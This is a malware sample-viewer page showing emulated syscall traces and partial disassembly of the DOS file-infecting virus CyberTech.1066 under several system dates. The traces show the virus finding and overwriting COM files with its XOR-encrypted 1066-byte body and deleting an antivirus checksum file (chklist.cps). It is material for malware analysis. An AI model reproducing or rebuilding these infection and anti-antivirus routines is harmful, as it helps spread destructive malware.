Sample viewer

vx.netlux.org/Virus.DOS.CyberTech.1066

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:09:42.906726364Z 48 PC: 12a98 | Get DOS version
2018-12-17T23:09:42.908389294Z 54 PC: 12aa6 | Get free disk space
2018-12-17T23:09:42.917096896Z 42 PC: 12ab2 | Get date 0x12ab2: cmp cx, 0x7ca
0x12ab6: jae 0x12abb
0x12ab8: jmp 0x12b4c
0x12abb: push cs
0x12abc: pop ds
0x12abd: mov ah, 9
0x12abf: lea dx, word ptr [bp + 0x274]
0x12ac3: int 0x21
0x12ac5: mov ah, 0x1a
0x12ac7: mov dx, 0xfd00
0x12aca: int 0x21
0x12acc: mov ax, word ptr cs:[0x2c]
0x12ad0: mov ds, ax
0x12ad2: mov si, 0
0x12ad5: mov cx, 0x4000
0x12ad8: lodsb al, byte ptr [si]
0x12ad9: cmp al, 1
0x12adb: je 0x12adf
0x12add: loop 0x12ad8
0x12adf: inc si
2018-12-17T23:09:42.919198039Z 9 PC: 12ac5 | Display string (Could not find end pointer)
2018-12-17T23:09:42.940030871Z 26 PC: 12acc | Set disk transfer address
2018-12-17T23:09:42.941393532Z 67 PC: 12afc | Get or set file attributes
2018-12-17T23:09:42.94711624Z 67 PC: 12b09 | Get or set file attributes
2018-12-17T23:09:42.962010246Z 61 PC: 12b0e | Open file (Filename = 'A:\TEST.COM')
2018-12-17T23:09:42.969155463Z 87 PC: 12b15 | Get or set file date and time
2018-12-17T23:09:42.970418874Z 62 PC: 12b1b | Close file
2018-12-17T23:09:42.971988074Z 60 PC: 12b24 | Create or truncate file
2018-12-17T23:09:42.997410496Z 64 PC: 12b33 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:43.000960568Z 87 PC: 12b3a | Get or set file date and time
2018-12-17T23:09:43.002455567Z 62 PC: 12b3e | Close file
2018-12-17T23:09:43.010393946Z 67 PC: 12b47 | Get or set file attributes
2018-12-17T23:09:43.020184266Z 26 PC: 12c77 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16619,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:53:33.808502372Z 48 PC: 12a98 | Get DOS version
2018-12-25T12:53:33.810290475Z 54 PC: 12aa6 | Get free disk space
2018-12-25T12:53:33.820029188Z 42 PC: 12ab2 | Get date 0x12ab2: cmp cx, 0x7ca
0x12ab6: jae 0x12abb
0x12ab8: jmp 0x12b4c
0x12abb: push cs
0x12abc: pop ds
0x12abd: mov ah, 9
0x12abf: lea dx, word ptr [bp + 0x274]
0x12ac3: int 0x21
0x12ac5: mov ah, 0x1a
0x12ac7: mov dx, 0xfd00
0x12aca: int 0x21
0x12acc: mov ax, word ptr cs:[0x2c]
0x12ad0: mov ds, ax
0x12ad2: mov si, 0
0x12ad5: mov cx, 0x4000
0x12ad8: lodsb al, byte ptr [si]
0x12ad9: cmp al, 1
0x12adb: je 0x12adf
0x12add: loop 0x12ad8
0x12adf: inc si
2018-12-25T12:53:33.822284154Z 26 PC: 12b53 | Set disk transfer address
2018-12-25T12:53:33.823984971Z 78 PC: 12b5d | Find first file
2018-12-25T12:53:33.830678908Z 67 PC: 12b6a | Get or set file attributes
2018-12-25T12:53:33.836820576Z 67 PC: 12b72 | Get or set file attributes
2018-12-25T12:53:33.854007365Z 61 PC: 12b77 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:53:33.862258374Z 87 PC: 12b7d | Get or set file date and time
2018-12-25T12:53:33.863924845Z 63 PC: 12b8a | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:53:33.872673977Z 66 PC: 12bb0 | Move file pointer
2018-12-25T12:53:33.875575951Z 66 PC: 12bd1 | Move file pointer
2018-12-25T12:53:33.877007263Z 63 PC: 12bdb | Read file or device (Read 52 bytes on handle 5)
2018-12-25T12:53:33.879653668Z 66 PC: 12bb0 | Move file pointer (See above)
2018-12-25T12:53:33.882093729Z 44 PC: 12c28 | Get time 0x12c28: cmp dl, 0
0x12c2b: jne 0x12c37
0x12c2d: mov ah, 9
0x12c2f: lea dx, word ptr [bp + 0x3cd]
0x12c33: int 0x21
0x12c35: jmp 0x12c24
0x12c37: mov byte ptr cs:[bp + 0x17], dl
0x12c3b: lea si, word ptr [bp + 4]
0x12c3e: mov di, 0xfb00
0x12c41: mov cx, 0x17
0x12c44: rep movsb byte ptr es:[di], byte ptr [si]
0x12c46: lea si, word ptr [bp + 0x1b]
0x12c49: mov cx, 0x413
0x12c4c: lodsb al, byte ptr [si]
0x12c4d: xor al, dl
0x12c4f: stosb byte ptr es:[di], al
0x12c50: loop 0x12c4c
0x12c52: mov ah, 0x40
0x12c54: mov dx, 0xfb00
0x12c57: mov cx, 0x42a
2018-12-25T12:53:33.884287772Z 64 PC: 12c5c | Write file or device (Write 1066 bytes on handle 5)
2018-12-25T12:53:33.890624165Z 66 PC: 12bb0 | Move file pointer (See above)
2018-12-25T12:53:33.892527841Z 64 PC: 12c6d | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:53:33.899578393Z 87 PC: 12c9d | Get or set file date and time
2018-12-25T12:53:33.90105586Z 62 PC: 12ca1 | Close file
2018-12-25T12:53:33.91109363Z 67 PC: 12caa | Get or set file attributes
2018-12-25T12:53:33.917038265Z 65 PC: 12cb2 | Delete file (Filename = 'chklist.cps')
2018-12-25T12:53:33.923309517Z 26 PC: 12c77 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1995,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16619,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:53:33.887761321Z 48 PC: 12a98 | Get DOS version
2018-12-25T12:53:33.889022555Z 54 PC: 12aa6 | Get free disk space
2018-12-25T12:53:33.899294214Z 42 PC: 12ab2 | Get date 0x12ab2: cmp cx, 0x7ca
0x12ab6: jae 0x12abb
0x12ab8: jmp 0x12b4c
0x12abb: push cs
0x12abc: pop ds
0x12abd: mov ah, 9
0x12abf: lea dx, word ptr [bp + 0x274]
0x12ac3: int 0x21
0x12ac5: mov ah, 0x1a
0x12ac7: mov dx, 0xfd00
0x12aca: int 0x21
0x12acc: mov ax, word ptr cs:[0x2c]
0x12ad0: mov ds, ax
0x12ad2: mov si, 0
0x12ad5: mov cx, 0x4000
0x12ad8: lodsb al, byte ptr [si]
0x12ad9: cmp al, 1
0x12adb: je 0x12adf
0x12add: loop 0x12ad8
0x12adf: inc si
2018-12-25T12:53:33.901806221Z 9 PC: 12ac5 | Display string (Could not find end pointer)
2018-12-25T12:53:33.924789524Z 26 PC: 12acc | Set disk transfer address
2018-12-25T12:53:33.926976148Z 67 PC: 12afc | Get or set file attributes
2018-12-25T12:53:33.933858868Z 67 PC: 12b09 | Get or set file attributes
2018-12-25T12:53:33.951181949Z 61 PC: 12b0e | Open file (Filename = 'A:\TEST.COM')
2018-12-25T12:53:33.959297788Z 87 PC: 12b15 | Get or set file date and time
2018-12-25T12:53:33.960948241Z 62 PC: 12b1b | Close file
2018-12-25T12:53:33.963317239Z 60 PC: 12b24 | Create or truncate file
2018-12-25T12:53:33.979370843Z 64 PC: 12b33 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:53:33.985167626Z 87 PC: 12b3a | Get or set file date and time
2018-12-25T12:53:33.986631032Z 62 PC: 12b3e | Close file
2018-12-25T12:53:33.995460498Z 67 PC: 12b47 | Get or set file attributes
2018-12-25T12:53:34.006406237Z 26 PC: 12c77 | Set disk transfer address